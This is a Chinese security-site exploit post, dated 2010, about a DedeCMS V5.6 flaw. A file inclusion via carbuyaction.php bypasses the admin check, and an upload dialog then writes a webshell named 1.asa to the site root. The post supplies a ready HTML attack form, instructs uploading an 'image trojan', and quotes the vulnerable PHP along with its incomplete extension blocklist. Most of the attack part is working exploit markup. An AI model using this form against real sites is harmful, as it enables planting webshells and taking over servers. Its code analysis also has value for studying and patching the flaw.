首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
DedeCmsV5.6 本地包含里的上传漏洞利用
来源:vfocus.net 作者:vfocus 发布时间:2010-08-27  

本地包含的利用方法。

<form action=”http://www.ra1nker/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post” method=”post” enctype=”multipart/form-data” name=”QuickSearch” id=”QuickSearch”>
<input type=”hidden” name=”newname” value=”1.asa”>
<input type=”file” name=”uploadfile”>
<input type=”submit” value=”搜索” name=”QuickSearchBtn”>
</form>


上传一个图片木马(只改后辍名为图片类型就行),即可在网站根目录生成 1.asa 文件
简单分析:
文件:select_soft_post.php

01.if(!isset($cfg_basedir)) 02.{ 03.include_once(dirname(__FILE__).’/config.php’); 04.} 05.//config.php 是用于验证是否管理员。由于本地包含, $cfg_basedir 已经设置了值,应该跳过了验证。 06.//文件名(前为手工指定, 后者自动处理) 07.if(!empty($newname)) 08.{ 09.$filename = $newname; 10.if(!ereg(“\.”, $filename)) $fs = explode(‘.’, $uploadfile_name); 11.else $fs = explode(‘.’, $filename); 12.if(eregi($cfg_not_allowall, $fs[count($fs)-1])) 13.{ 14.ShowMsg(“你指定的文件名被系统禁止!”,’javascript:;’); 15.exit(); 16.} 17.if(!ereg(“\.”, $filename)) $filename = $filename.’.’.$fs[count($fs)-1]; 18.}else{ 19.$filename = $cuserLogin->getUserID().’-’.dd2char(MyDate(‘ymdHis’,$nowtme)); 20.$fs = explode(‘.’, $uploadfile_name); 21.if(eregi($cfg_not_allowall, $fs[count($fs)-1])) 22.{ 23.ShowMsg(“你上传了某些可能存在不安全因素的文件,系统拒绝操作!”,’javascript:;’); 24.exit(); 25.} 26.$filename = $filename.’.’.$fs[count($fs)-1]; 27.}
问题就出在 $newname 那里,没验证上传类型,但验证了非可上传类型

01.//这里强制限定的某些文件类型禁止上传 02.$cfg_not_allowall = “php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml”;
即可以上传非上面类型的文件,有时也并不鸡肋。。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·NetCms 注册上传漏洞 Oday
·phpcms 2008 sp4 爆路径及任意文
·phpwind远程代码执行漏洞
·Phpwind 注入以及利用之一:远程
·Phpcms2008本地文件包含漏洞及利
·SiteEngine CMS 5.1.0 文件上传
·dvbbs php2.0 多个漏洞
·Phpcms2008本地文件包含漏洞及利
·discuz 7.x xss 反射型exploit
·ecshop SQL注射漏洞
·新版搜狗输入法已修复多个安全漏
·请下载新版工行个人网银
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved